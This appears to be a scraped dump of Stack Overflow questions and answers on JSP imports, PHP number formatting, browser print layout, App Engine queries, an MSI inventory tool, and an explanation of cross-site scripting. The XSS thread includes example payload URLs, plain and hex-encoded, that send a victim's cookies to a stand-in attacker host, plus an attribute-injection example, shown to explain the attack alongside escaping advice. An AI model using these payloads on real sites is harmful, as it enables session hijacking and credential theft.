importd class .</p>\n" }, { "answer_id": 45858105, "author": "Georgios Syngouroglou", "author_id": 1123501, "author_profile": "https://Stackoverflow.com/users/1123501", "pm_score": 3, "selected": false, "text": "<p>In case you use JSTL and you wish to import a class in a tag page instead of a jsp page, the syntax is a little bit different. Replace the word 'page' with the word 'tag'.</p>\n\n<p>Instead of Sandman's correct answer</p>\n\n<pre><code>&lt;%@page import=\"path.to.your.class\"%&gt;\n</code></pre>\n\n<p>use</p>\n\n<pre><code>&lt;%@tag import=\"path.to.your.class\"%&gt;\n</code></pre>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2598/" ]
I am a complete JSP beginner. I am trying to use a `java.util.List` in a JSP page. What do I need to do to use classes other than ones in `java.lang`?
Use the following import statement to import `java.util.List`: ``` <%@ page import="java.util.List" %> ``` BTW, to import more than one class, use the following format: ``` <%@ page import="package1.myClass1,package2.myClass2,....,packageN.myClassN" %> ```
239,171
<p>I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: </p> <p>12345 would be displayed as 000/012/345 </p> <p>and </p> <p>9876543 would be displayed as 009/876/543</p> <p>I know how to do this in a messy way, involving a series of if/else statements, and strlen functions, but there has to be a cleaner way involving regex that Im not seeing.</p>
[ { "answer_id": 239176, "author": "Adam Pierce", "author_id": 5324, "author_profile": "https://Stackoverflow.com/users/5324", "pm_score": 5, "selected": true, "text": "<p>sprintf and modulo is one option</p>\n\n<pre><code>function formatMyNumber($num)\n{\n return sprintf('%03d/%03d/%03d',\n $num / 1000000,\n ($num / 1000) % 1000,\n $num % 1000);\n}\n</code></pre>\n" }, { "answer_id": 239180, "author": "Claudiu", "author_id": 15055, "author_profile": "https://Stackoverflow.com/users/15055", "pm_score": 0, "selected": false, "text": "<p>Here's how I'd do it in python (sorry I don't know PHP as well). I'm sure you can convert it.</p>\n\n<pre><code>def convert(num): #num is an integer\n a = str(num)\n s = \"0\"*(9-len(a)) + a\n return \"%s/%s/%s\" % (s[:3], s[3:6], s[6:9])\n</code></pre>\n\n<p>This just pads the number to have length 9, then splits the substrings.\nThat being said, it seems the modulo answer is a bit better.</p>\n" }, { "answer_id": 239205, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 3, "selected": false, "text": "<pre><code>$padded = str_pad($number, 9, '0', STR_PAD_LEFT);\n$split = str_split($padded, 3);\n$formatted = implode('/', $split);\n</code></pre>\n" }, { "answer_id": 239218, "author": "joelhardi", "author_id": 11438, "author_profile": "https://Stackoverflow.com/users/11438", "pm_score": 1, "selected": false, "text": "<p>OK, people are throwing stuff out, so I will too!</p>\n\n<p><code>number_format</code> would be great, because it accepts a thousands separator, but it doesn't do padding zeroes like <code>sprintf</code> and the like. So here's what I came up with for a one-liner:</p>\n\n<pre><code>function fmt($x) {\n return substr(number_format($x+1000000000, 0, \".\", \"/\"), 2);\n}\n</code></pre>\n" }, { "answer_id": 239236, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 2, "selected": false, "text": "<p>You asked for a regex solution, and I love playing with them, so here is a regex solution!<br>\nI show it for educational (and fun) purpose only, just use Adam's solution, clean, readable and fast.</p>\n\n<pre><code>function FormatWithSlashes($number)\n{\n return substr(preg_replace('/(\\d{3})?(\\d{3})?(\\d{3})$/', '$1/$2/$3',\n '0000' . $number),\n -11, 11);\n}\n\n$numbers = Array(12345, 345678, 9876543);\nforeach ($numbers as $val)\n{\n $r = FormatWithSlashes($val);\n echo \"&lt;p&gt;$r&lt;/p&gt;\";\n}\n</code></pre>\n" }, { "answer_id": 239606, "author": "Dave Sherohman", "author_id": 18914, "author_profile": "https://Stackoverflow.com/users/18914", "pm_score": 1, "selected": false, "text": "<p>Minor improvement to PhiLho's suggestion:</p>\n\n<p>You can avoid the <strong>substr</strong> by changing the regex to:</p>\n\n<pre><code>function FormatWithSlashes($number)\n{\n return preg_replace('/^0*(\\d{3})(\\d{3})(\\d{3})$/', '$1/$2/$3',\n '0000' . $number);\n}\n</code></pre>\n\n<p>I also removed the <strong>?</strong> after each of the first two capture groups because, when given a 5, 6, or 7 digit number (as specified in the question), this will always have at least 9 digits to work with. If you want to guard against the possibility of receiving a smaller input number, run the regex against <strong>'000000000' . $number</strong> instead.</p>\n\n<p>Alternately, you could use</p>\n\n<pre><code>substr('0000' . $number, -9, 9);\n</code></pre>\n\n<p>and then splice the slashes in at the appropriate places with <strong>substr_replace</strong>, which I suspect may be the fastest way to do this (no need to run regexes or do division), but that's really just getting into pointless optimization, as any of the solutions presented will still be much faster than establishing a network connection to the server.</p>\n" }, { "answer_id": 241439, "author": "Brad Gilbert", "author_id": 1337, "author_profile": "https://Stackoverflow.com/users/1337", "pm_score": 1, "selected": false, "text": "<h3>This would be how I would write it if using <code>Perl 5.10</code> .</h3>\n<pre><code>use 5.010;\n\nsub myformat(_;$){\n\n # prepend with zeros\n my $_ = 0 x ( 9-length($_[0]) ) . $_[0];\n\n my $join = $_[1] // '/'; # using the 'defined or' operator `//`\n\n # m// in a list context returns ($1,$2,$3,...)\n join $join, m/ ^ (\\d{3}) (\\d{3}) (\\d{3}) $ /x;\n\n}\n</code></pre>\n<p>Tested with:</p>\n<pre><code>$_ = 11111;\nsay myformat;\nsay myformat(2222);\nsay myformat(33333,';');\nsay $_;\n</code></pre>\n<p>returns:</p>\n<pre>\n000/011/111\n000/002/222\n000;033;333\n11111\n</pre>\n<p>Back-ported to <code>Perl 5.8</code> :</p>\n<pre><code>sub myformat(;$$){\n local $_ = @_ ? $_[0] : $_\n\n # prepend with zeros\n $_ = 0 x ( 9-length($_) ) . $_;\n\n my $join = defined($_[1]) ? $_[1] :'/';\n\n # m// in a list context returns ($1,$2,$3,...)\n join $join, m/ ^ (\\d{3}) (\\d{3}) (\\d{3}) $ /x;\n\n}\n</code></pre>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: 12345 would be displayed as 000/012/345 and 9876543 would be displayed as 009/876/543 I know how to do this in a messy way, involving a series of if/else statements, and strlen functions, but there has to be a cleaner way involving regex that Im not seeing.
sprintf and modulo is one option ``` function formatMyNumber($num) { return sprintf('%03d/%03d/%03d', $num / 1000000, ($num / 1000) % 1000, $num % 1000); } ```
239,194
<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>
[ { "answer_id": 239212, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 5, "selected": false, "text": "<p>Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.</p>\n\n<p>When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.</p>\n\n<p>Example of malicious link:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>http://VulnerableHost/a.php?variable=&lt;script&gt;document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie&lt;/script&gt;\n</code></pre>\n\n<p>It's also common to encode the malicious code, for example in hex:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E\n</code></pre>\n" }, { "answer_id": 430157, "author": "Mike Samuel", "author_id": 20394, "author_profile": "https://Stackoverflow.com/users/20394", "pm_score": 4, "selected": false, "text": "<p>An XSS vulnerability exists whenever a string from outside your application can be interpreted as code.</p>\n\n<p>For example, if you're generating HTML by doing this:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code>&lt;BODY&gt;\n &lt;?= $myQueryParameter ?&gt;\n&lt;/BODY&gt;\n</code></pre>\n\n<p>then if the <code>$myQueryParameter</code> variable contains a <code>&lt;SCRIPT&gt;</code> tag then it will end up executing code.</p>\n\n<p>To prevent an input from being executed as code, you need to <strong>escape</strong> content properly.</p>\n\n<p>The above problem can be solved by realizing that the <code>$myQueryParameter</code> variable contains plain text, but you can't just go and put plain text into HTML and expect it to work.</p>\n\n<p>So you need to convert plain text to HTML so you can put it into your HTML page. That process of converting a string in one language to another so that it can be embedded is escaping.</p>\n\n<p>You can escape plain text to HTML with a function like:</p>\n\n<pre class=\"lang-js prettyprint-override\"><code>function escapePlainTextToHTML(plainText) {\n return plainText.replace(/\\0/g, '')\n .replace(/&amp;/g, '&amp;amp;')\n .replace(/&lt;/g, '&amp;lt;')\n .replace(/&gt;/g, '&amp;gt;')\n .replace(/\"/g, '&amp;#34;')\n .replace(/'/g, '&amp;#39;');\n}\n</code></pre>\n" }, { "answer_id": 13266133, "author": "Abhishek Mehta", "author_id": 441073, "author_profile": "https://Stackoverflow.com/users/441073", "pm_score": -1, "selected": false, "text": "<p>XSS - </p>\n\n<p>Vulnerability caused when the web-site places the trust on the user and does not filter the user-input. \nThe user-input causes unwanted script to be executed on the site.</p>\n\n<ol>\n<li><p>Prevention:</p>\n\n<ul>\n<li><p>Filter user input using HTML input sanitizers</p>\n\n<p>(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape in php)</p></li>\n</ul></li>\n</ol>\n\n<p>CSRF:</p>\n\n<p>Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it.</p>\n\n<ol>\n<li><p>Prevention:</p>\n\n<ul>\n<li>Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. <a href=\"https://docs.djangoproject.com/en/dev/ref/contrib/csrf/\" rel=\"nofollow\">https://docs.djangoproject.com/en/dev/ref/contrib/csrf/</a></li>\n</ul></li>\n</ol>\n" }, { "answer_id": 37476333, "author": "BillyBob", "author_id": 6380647, "author_profile": "https://Stackoverflow.com/users/6380647", "pm_score": 2, "selected": false, "text": "<p><strong>In Simple English</strong></p>\n\n<p>XSS is when you insert scripts (meaning JavaScript code) into webpages, so that the browser executes the code. This is malicious, because it can be used to steal cookies, and any other data on the page. For example:</p>\n\n<p>The HTML of a search box: <code>&lt;input value=\"*search value here*\"&gt;</code></p>\n\n<p>Now if you insert <code>\" onmouseover=\"alert(1)</code>, the final HTML would be <code>&lt;input value=\"\" onmouseover=\"alert(1)\"&gt;</code> \nWhen the mouse is passed over the search box, the \"alert\" will be executed.</p>\n\n<p><strong>In \"WikiText\"</strong></p>\n\n<p>Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.</p>\n" }, { "answer_id": 40660385, "author": "Jason Locke", "author_id": 1240570, "author_profile": "https://Stackoverflow.com/users/1240570", "pm_score": 1, "selected": false, "text": "<p>I've written up an article on what XSS is and how to address it somewhat as a PHP developer. There are also examples of what both types of XSS attacks look like (persistent vs. non-persistent).</p>\n\n<p>There are two types of XSS attacks:</p>\n\n<ol>\n<li>Non-persistent: This would be a specially crafted URL that embeds a\nscript as one of the parameters to the target page. The nasty URL\ncan be sent out in an email with the intent of tricking the\nrecipient into clicking it. The target page mishandles the parameter\nand unintentionally sends code to the client's machine that was\npassed in originally through the URL string.</li>\n<li>Persistent: This attack\nuses a page on a site that saves form data to the database without\nhandling the input data properly. A malicious user can embed a nasty\nscript as part of a typical data field (like Last Name) that is run\non the client's web browser unknowingly. Normally the nasty script\nwould be stored to the database and re-run on every client's visit\nto the infected page.</li>\n</ol>\n\n<p>See more here:\n<a href=\"http://www.thedablog.com/what-is-xss/\" rel=\"nofollow noreferrer\" title=\"What Is Cross-Site Scripting?\">http://www.thedablog.com/what-is-xss/</a></p>\n" }, { "answer_id": 43290516, "author": "Utkarsh Agrawal", "author_id": 7505302, "author_profile": "https://Stackoverflow.com/users/7505302", "pm_score": 2, "selected": false, "text": "<p>In simple english <strong>XSS</strong> is a security vulnerabilty in which attacker can frame a malicious script to compromise the website. Now <strong>How it works?</strong></p>\n\n<p>As we know that <strong>XSS</strong> needs an input field or we can say that the GET variable through which the input is echo back to the user without filteration and sometimes filteration. After request, it is acceptable (\"source code\") by the browser as a response to show the contents to the user. <strong>Remember what ever you had written in the input field it will be on the source code response</strong>.So you should check it because sometimes web developer make restriction on the alert box .</p>\n\n<p>If you are an attacker first you need to know the xss vulnerability by using the script tag. </p>\n\n<p>For example:- alert(\"test\") </p>\n\n<p><strong>Here alert() is used to make the popup box with the ok button and what ever you have written in the bracket it will be popup on the screen</strong>. And script tags are invisible.</p>\n\n<p>Now attacker can make a malicious script to steal the cookie, steal the credentials etc.</p>\n\n<blockquote>\n <p>For example:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘<a href=\"http://www.Yoursite.com/Stealer.php?cookie=\" rel=\"nofollow noreferrer\">http://www.Yoursite.com/Stealer.php?cookie=</a>’+document.cookie;</p>\n</blockquote>\n\n<p>Here your site is the attacker site at which the attacker can redirect the victim's cookie on his own's site with the help of document.cookie.</p>\n\n<p>Thats it.</p>\n\n<p>Here script tag invisible</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239194", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.
Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content. When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques. Example of malicious link: ```none http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script> ``` It's also common to encode the malicious code, for example in hex: ```none http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E ```
239,232
<p>In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.<br> Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript? </p> <p>Update: Following the advice given here I looked for "css landscape" in google, and found the <a href="http://www.tek-tips.com/faqs.cfm?fid=5803" rel="noreferrer">following article</a> that showed ways of css-ly defining landscape:</p>
[ { "answer_id": 239234, "author": "da5id", "author_id": 14979, "author_profile": "https://Stackoverflow.com/users/14979", "pm_score": 2, "selected": false, "text": "<p>Do it with CSS by including a print stylesheet thusly:</p>\n\n<pre><code>&lt;style type=\"text/css\" media=\"print\"&gt;@import url(\"/inc/web.print.css\");&lt;/style&gt;\n</code></pre>\n" }, { "answer_id": 239238, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 4, "selected": true, "text": "<p>You should use a print stylesheet.</p>\n\n<pre><code>&lt;link rel=\"stylesheet\" href=\"print.css\" type=\"text/css\" media=\"print\" /&gt;\n</code></pre>\n\n<p>More info...</p>\n\n<p><a href=\"https://stackoverflow.com/questions/224078/how-to-print-only-parts-of-a-page\">How to print only parts of a page?</a></p>\n\n<p>Edit: to coerce landscape orientation, apparently the standard is <code>size: landscape</code>, but I have no idea how well that's supported across browsers.</p>\n" }, { "answer_id": 239261, "author": "Ady", "author_id": 31395, "author_profile": "https://Stackoverflow.com/users/31395", "pm_score": 2, "selected": false, "text": "<p>I think your question is not so much about using CSS to define print styles, but to force the print as landscape rather than portrait?</p>\n\n<p>CSS 2 defined 'size', but I don't think this is widly supported:\n<a href=\"http://www.w3schools.com/css/css_ref_print.asp\" rel=\"nofollow noreferrer\">http://www.w3schools.com/css/css_ref_print.asp</a></p>\n\n<p>CSS 3 has better print control, but again not widly supported.</p>\n" }, { "answer_id": 239287, "author": "Lee Kowalkowski", "author_id": 30945, "author_profile": "https://Stackoverflow.com/users/30945", "pm_score": 1, "selected": false, "text": "<p>Unfortunately, this is still not possible cross-browser. For Internet Explorer, there is an <a href=\"http://www.meadroid.com/scriptx/about.asp\" rel=\"nofollow noreferrer\">ActiveX control</a> that does it. </p>\n\n<p>Otherwise your best bet might be to offer the option of a PDF version for printing.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239232", "https://Stackoverflow.com", "https://Stackoverflow.com/users/278/" ]
In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function. Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript? Update: Following the advice given here I looked for "css landscape" in google, and found the [following article](http://www.tek-tips.com/faqs.cfm?fid=5803) that showed ways of css-ly defining landscape:
You should use a print stylesheet. ``` <link rel="stylesheet" href="print.css" type="text/css" media="print" /> ``` More info... [How to print only parts of a page?](https://stackoverflow.com/questions/224078/how-to-print-only-parts-of-a-page) Edit: to coerce landscape orientation, apparently the standard is `size: landscape`, but I have no idea how well that's supported across browsers.
239,258
<p>Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. You would like to perform the following SQL query, which is not supported:</p> <pre><code>SELECT DISTINCT user_hash FROM links </code></pre> <p>Instead you could use:</p> <pre><code>user = db.GqlQuery("SELECT user_hash FROM links") </code></pre> <p>How to use Python <strong>most efficiently</strong> to filter the result, so it returns a DISTINCT result set? How to count the DISTINCT result set?</p>
[ { "answer_id": 239305, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 1, "selected": false, "text": "<p>One option would be to put the results into a set object:</p>\n\n<p><a href=\"http://www.python.org/doc/2.6/library/sets.html#sets.Set\" rel=\"nofollow noreferrer\">http://www.python.org/doc/2.6/library/sets.html#sets.Set</a></p>\n\n<p>The resulting set will consist only of the distinct values passed into it.</p>\n\n<p>Failing that, building up a new list containing only the unique objects would work. Something like:</p>\n\n<pre><code>unique_results = []\nfor obj in user:\n if obj not in unique_results:\n unique_results.append(obj)\n</code></pre>\n\n<p>That <code>for</code> loop can be condensed into a list comprehension as well.</p>\n" }, { "answer_id": 239326, "author": "unmounted", "author_id": 11596, "author_profile": "https://Stackoverflow.com/users/11596", "pm_score": 3, "selected": true, "text": "<p>A set is good way to deal with that:</p>\n\n<pre><code>&gt;&gt;&gt; a = ['google.com', 'livejournal.com', 'livejournal.com', 'google.com', 'stackoverflow.com']\n&gt;&gt;&gt; b = set(a)\n&gt;&gt;&gt; b\nset(['livejournal.com', 'google.com', 'stackoverflow.com'])\n&gt;&gt;&gt; \n</code></pre>\n\n<p>One suggestion w/r/t the first answer, is that sets and dicts are better at retrieving unique results quickly, membership in lists is O(n) versus O(1) for the other types, so if you want to store additional data, or do something like create the mentioned <code>unique_results</code> list, it may be better to do something like:</p>\n\n<pre><code>unique_results = {}\n&gt;&gt;&gt; for item in a:\n unique_results[item] = ''\n\n\n&gt;&gt;&gt; unique_results\n{'livejournal.com': '', 'google.com': '', 'stackoverflow.com': ''}\n</code></pre>\n" }, { "answer_id": 5340901, "author": "Carlos Ricardo", "author_id": 468868, "author_profile": "https://Stackoverflow.com/users/468868", "pm_score": 0, "selected": false, "text": "<p>Sorry to dig this question up but in GAE I cannot compare objects like that, I must use .key() for comparison like that:</p>\n\n<p>Beware, this is very inefficient :</p>\n\n<pre><code>def unique_result(array):\n urk={} #unique results with key\n for c in array:\n if c.key() not in urwk:\n urk[str(c.key())]=c\n return urk.values()\n</code></pre>\n\n<p>If anyone has a better solution, please share.</p>\n" }, { "answer_id": 14169747, "author": "Bernd Verst", "author_id": 1950548, "author_profile": "https://Stackoverflow.com/users/1950548", "pm_score": 3, "selected": false, "text": "<p>Reviving this question for completion:</p>\n\n<p>The DISTINCT keyword has been introduced in <a href=\"http://googleappengine.blogspot.com/2012/12/app-engine-174-released.html\" rel=\"noreferrer\">release 1.7.4</a>.</p>\n\n<p>You can find the updated GQL reference (for example for Python) <a href=\"https://developers.google.com/appengine/docs/python/datastore/gqlreference\" rel=\"noreferrer\">here</a>.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239258", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26763/" ]
Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. You would like to perform the following SQL query, which is not supported: ``` SELECT DISTINCT user_hash FROM links ``` Instead you could use: ``` user = db.GqlQuery("SELECT user_hash FROM links") ``` How to use Python **most efficiently** to filter the result, so it returns a DISTINCT result set? How to count the DISTINCT result set?
A set is good way to deal with that: ``` >>> a = ['google.com', 'livejournal.com', 'livejournal.com', 'google.com', 'stackoverflow.com'] >>> b = set(a) >>> b set(['livejournal.com', 'google.com', 'stackoverflow.com']) >>> ``` One suggestion w/r/t the first answer, is that sets and dicts are better at retrieving unique results quickly, membership in lists is O(n) versus O(1) for the other types, so if you want to store additional data, or do something like create the mentioned `unique_results` list, it may be better to do something like: ``` unique_results = {} >>> for item in a: unique_results[item] = '' >>> unique_results {'livejournal.com': '', 'google.com': '', 'stackoverflow.com': ''} ```
239,264
<p>Does anyone have a copy of MSIINV.EXE (The MSI Inventory tool)? The site where it used to be available is down(<a href="http://www.huydao.net/" rel="nofollow noreferrer">http://www.huydao.net/</a>). I'm trying to uninstall some components in order to force the Visual Studio Setup to reinstall them. I apologize as this is not strictly a programming question but I figured anyone that has installed some of the Visual Studio beta stuff may have run into this problem as well.</p>
[ { "answer_id": 239456, "author": "Roger Lipscombe", "author_id": 8446, "author_profile": "https://Stackoverflow.com/users/8446", "pm_score": 1, "selected": false, "text": "<p>What does that tool do? Does it list the component GUIDs from an MSI? If so, I've found the DARK tool from <a href=\"http://wix.sourceforge.net\" rel=\"nofollow noreferrer\">WiX</a> to do a pretty good job of telling me what's in an MSI.</p>\n" }, { "answer_id": 956617, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": -1, "selected": false, "text": "<p>The tool msiinv.exe what it really does is just list the GUI of all your installed MSI packages. You can use a file as an output.</p>\n\n<p>Then the MSI Inventory tool will provide the needed GUI in order to run \"msiexec.exe /x {B3A02601-8FE9-4108-8E95-D94171A2F8C8}\" and uninstall the desired package.</p>\n\n<p>Thanks.</p>\n\n<p>Faith.</p>\n" }, { "answer_id": 52228225, "author": "Matthew Wetmore", "author_id": 7102111, "author_profile": "https://Stackoverflow.com/users/7102111", "pm_score": 3, "selected": false, "text": "<p>I've created a GitHub repository with both the original source and a copy of the .exe for MsiInv.exe. I am the original author.</p>\n\n<p><a href=\"https://github.com/ZisBoom/MsiInv.exe\" rel=\"noreferrer\">https://github.com/ZisBoom/MsiInv.exe</a></p>\n\n<p>My most common usage is <code>msiinv.exe -p</code> to list all installed products, \nor <code>msiinv.exe -p | findstr /i &lt;pattern&gt;</code> to find a specific product.\n<code>msiinv.exe -p &lt;leading match&gt;</code> requires you to know the \"startswith\" name of the product, whereas findstr is useful for substring.</p>\n\n<p>Command line options:</p>\n\n<pre><code>msiinv.exe -?\nUsage: msiinv.exe [option [option]]\n -p [product] Product list\n -f Feature state by product. (includes -p)\n -q Component count by product (includes -p)\n -# Component count and features states by product (-p -f -q)\n\n -x Orphaned components.\n -m Shared components.\n -c Evaluate components (-x -m).\n\n -l List of log files.\n\n -t Elapsed time for run. (Benchmarking)\n\n -s Reduced output.(-p -#)\n -n Normal output. (default)\n -v Verbose output. (default + feature and component lists)\n</code></pre>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239264", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3927/" ]
Does anyone have a copy of MSIINV.EXE (The MSI Inventory tool)? The site where it used to be available is down(<http://www.huydao.net/>). I'm trying to uninstall some components in order to force the Visual Studio Setup to reinstall them. I apologize as this is not strictly a programming question but I figured anyone that has installed some of the Visual Studio beta stuff may have run into this problem as well.
I've created a GitHub repository with both the original source and a copy of the .exe for MsiInv.exe. I am the original author. <https://github.com/ZisBoom/MsiInv.exe> My most common usage is `msiinv.exe -p` to list all installed products, or `msiinv.exe -p | findstr /i <pattern>` to find a specific product. `msiinv.exe -p <leading match>` requires you to know the "startswith" name of the product, whereas findstr is useful for substring. Command line options: ``` msiinv.exe -? Usage: msiinv.exe [option [option]] -p [product] Product list -f Feature state by product. (includes -p) -q Component count by product (includes -p) -# Component count and features states by product (-p -f -q) -x Orphaned components. -m Shared components. -c Evaluate components (-x -m). -l List of log files. -t Elapsed time for run. (Benchmarking) -s Reduced output.(-p -#) -n Normal output. (default) -v Verbose output. (default + feature and component lists) ```